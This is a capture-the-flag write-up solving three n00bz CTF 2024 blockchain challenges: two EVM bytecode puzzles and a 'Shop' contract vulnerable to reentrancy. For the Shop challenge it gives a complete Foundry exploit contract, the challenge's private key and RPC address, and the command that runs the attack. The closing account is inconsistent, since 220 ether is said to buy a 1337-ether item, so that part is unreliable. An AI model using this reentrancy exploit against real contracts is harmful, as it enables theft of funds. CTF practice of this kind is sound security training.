n00bz CTF 2024 (Blockchain)
Hello Friend,
This time I got few new like minded friends from konohagakure team. I played n00bz CTF with them. we got 15th place in this CTF. I am focused on my fav blockchain challenges and solved all of them. I hope you like this writeup.
EVM - The Basics
Descripton
I have some EVM runtime bytecode, whatever that means. You need to find the value, in hex, that you need to send to make the contract STOP and not self destruct. Wrap the hex in n00bz{}. If the correct answer is 9999, the flag is n00bz{0x270f}.
Attachments
- evm.txt
5f346113370265fdc29ff358a314601257ff00
00 5f PUSH0 // [0x00]
01 34 CALLVALUE // [callvalue, 0x00]
02 611337 PUSH2 1337 // [0x1337, callvalue, 0x00]
05 02 MUL // [0x1337 * callvalue, 0x00]
06 65fdc29ff358a3 PUSH6 fdc29ff358a3 // [0xfdc29ff358a3, 0x1337 * callvalue , 0x00]
0d 14 EQ // [0xfdc29ff358a3 == (0x1337 * callvalue), 0x00]
0e 6012 PUSH1 12 // [0x12, 0xfdc29ff358a3 == (0x1337 * callvalue), 0x00]
10 57 JUMPI // jump to 0x12 if 0xfdc29ff358a3 == (0x1337 * callvalue)
11 ff SELFDESTRUCT // selfdestruct
12 00 STOP // hault the execution
To prevent the contract from self-destructing, the CALLVALUE
must satisfy the equation 0xfdc29ff358a3 == CALLVALUE * 0x1337
.
0xfdc29ff358a3 == CALLVALUE * 0x1337
CALLVALUE = 0xfdc29ff358a3 / 0x1337
CALLVALUE = 0xd34db33f5
Flag: n00bz{0xd34db33f5}
EVM - Conditions
Description
So much maths… You need to find the value, in hex, that you need to send to make the contract STOP and not self destruct. Wrap the hex in n00bz{}. If the correct answer is 9999, the flag is n00bz{0x270f}.
Attachments
- evm.txt
5f600f607002610258525f60056096046090525f600760090A61FFFA526105396126aa18620bfabf52600361fffa5102620bfabf51013461025851600402016090510114604857ff00
00 5f PUSH0
01 600f PUSH1 0f
03 6070 PUSH1 70
05 02 MUL
06 610258 PUSH2 0258
09 52 MSTORE
0a 5f PUSH0
0b 6005 PUSH1 05
0d 6096 PUSH1 96
0f 04 DIV
10 6090 PUSH1 90
12 52 MSTORE
13 5f PUSH0
14 6007 PUSH1 07
16 6009 PUSH1 09
18 0a EXP
19 61FFA PUSH2 FFFA
1c 52 MSTORE
1d 610539 PUSH2 0539
20 6126aa PUSH2 26aa
23 18 XOR
24 620bfabf PUSH3 0bfabf
28 52 MSTORE
above bytecode just storing some data into memory.
below are the offset with corresponding value in memory that are stored by above bytecode.
offset values
0258 690
90 1e
FFFA 48fb79
0bfabf 2393
29 6003 PUSH1 03 // [0x03]
2b 61fffa PUSH2 fffa // [0xfffa, 0x03]
2e 51 MLOAD // [0x48fb79, 0x03]
2f 02 MUL // [0xdaf26b]
30 620bfabf PUSH3 0bfabf // [0xbfabf, 0xdaf26b]
34 51 MLOAD // [0x2393, 0xdaf26b]
35 01 ADD // [0xdb15fe]
36 34 CALLVALUE // [callvalue, 0xdb15fe]
37 610258 PUSH2 0258 // [0x258, callvalue, 0xdb15fe]
3a 51 MLOAD // [0x690, callvalue, 0xdb15fe]
3b 6004 PUSH1 04 // [0x04, 0x690, callvalue, 0xdb15fe]
3d 02 MUL // [0x1a40, callvalue, 0xdb15fe]
3e 01 ADD // [0x1a40 + callvalue, 0xdb15fe]
3f 6090 PUSH1 90 // [0x90, 0x1a40 + callvalue, 0xdb15fe]
41 51 MLOAD // [0x1e, 0x1a40 + callvalue, 0xdb15fe]
42 01 ADD // [0x1a5e + callvalue, 0xdb15fe]
43 14 EQ // [0x1a5e + callvalue == 0xdb15fe]
44 6048 PUSH1 48 // [0x48, 0x1a5e + callvalue == 0xdb15fe]
46 57 JUMPI // jump to 0x48 if 0x1a5e + callvalue == 0xdb15fe
47 ff SELFDESTRUCT // selfdestruct
48 00 STOP // hault the execution
To prevent the contract from self-destructing, the CALLVALUE
must satisfy the equation 0x1a5e + callvalue == 0xdb15fe
.
0x1a5e + callvalue == 0xdb15fe
callvalue = 0xdb15fe - 0x1a5e
callvalue = 0xdafba0
Flag: n00bz{0xdafba0}
Shop
Description
Welcome to the Shop! Just buy the flag for 1337 ETH! Too bad you don’t have enough… Note: It is best to deploy your contract through web3 python module (I believe js should also work but have not tested it).
Attachments
- Shop.sol
- nc blockchain.n00bzUnit3d.xyz 39999
Shop.sol
pragma solidity ^0.6.0;
contract Shop {
uint[4] cost = [5 ether,11 ether,23 ether,1337 ether];
uint[4] bought = [0,0,0,0];
function reset() public payable {
bought[0] = 0;
bought[1] = 0;
bought[2] = 0;
bought[3] = 0;
}
constructor() public {
reset();
}
function buy(uint item, uint quantity) public payable {
require(0 <= item && item<= 3, "Item does not exist!");
require(0 < quantity && quantity <= 10, "Cannot buy more than 10 at once!");
require(msg.value == (cost[item] * quantity), "Payment error!");
bought[item] = quantity;
}
function refund(uint item, uint quantity) public payable {
require(0 <= item && item <= 3, "Item does not exist!");
require(0 < quantity && quantity <= 10, "Cannot refund more than 10 at once!");
require(bought[item] > 0, "You do not have that item!");
require(bought[item] >= quantity, "Quantity is greater than amount!");
msg.sender.call.value((cost[item] * quantity))("");
bought[item] -= quantity;
}
function isChallSolved() public view returns (bool solved) {
if (bought[3] > 0) {
return true;
}
else {
return false;
}
}
}
CONTRACT="0x293076C8f740e7Fb6C3ABA11867Cc748564c1F01"
RPC_URL="http://64.23.154.146:46309"
PRIVATE_KEY="0xd970c9d2b5b7c06fbe39ed2e2dec77718283ed22f91b995230cf7f8de7ced427"
INV1NC="0x85D3E024B566e277960df52d4dFD72682Fb8dC73" // wallet address
We are given with 9 ether.
Goal
The goal is to “buy” an item that costs 1337 ether, even though we don’t have that amount of money available.
Observation
We can simply look at refund()
function, is interacting with msg.sender
before effecting the bought[time]
which is vulnerable to the popular reentrancy attack. To prevent reentrancy attack Checks-Effects-Interactions pattern should be implemented.
Attack
- buy item
0
with 5 ether - refund item
0
- reenter into a refund function from fallback function
- buy item
3
with 1337 ether - solved the challenge successfully
Attack.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function buy(uint256 item, uint256 quantity) external payable;
function refund(uint256 item, uint256 quantity) external payable;
function isChallSolved() external view returns (bool solved);
}
import {Script, console} from "forge-std/Script.sol";
contract AttackScript is Script {
IShop shop = IShop(vm.envAddress("CONTRACT"));
address inv1nc = address(vm.envAddress("INV1NC"));
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
Attack attack = new Attack{value: 8 ether}(address(shop));
attack.exploit();
attack.exploit();
attack.getMoney();
shop.buy{value: 1337 ether}(3, 1);
assert(shop.isChallSolved());
}
}
contract Attack {
IShop shop;
address owner;
constructor(address shopAddr) public payable {
shop = IShop(shopAddr);
owner = msg.sender;
}
function exploit() public {
shop.buy{value: 5 ether, gas: 3 ether}(0, 1);
shop.refund(0, 1);
}
fallback() external payable {
shop.refund(0, 1);
}
function getMoney() external {
require(msg.sender == owner);
payable(msg.sender).transfer(address(this).balance);
}
}
idk why the exploit()
function only giving me 110 ether then stop.
so, i removed base condition of checking shop contract balance and called exploit()
twice and got 220 ether.
then i bought item 3 with 1337 ether.
source .env
forge script script/Attack.s.sol:AttackScript --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast
Flag: n00bz{5h0uld_h4v3_sub7r4ct3d_f1r5t}
Thank you for reading!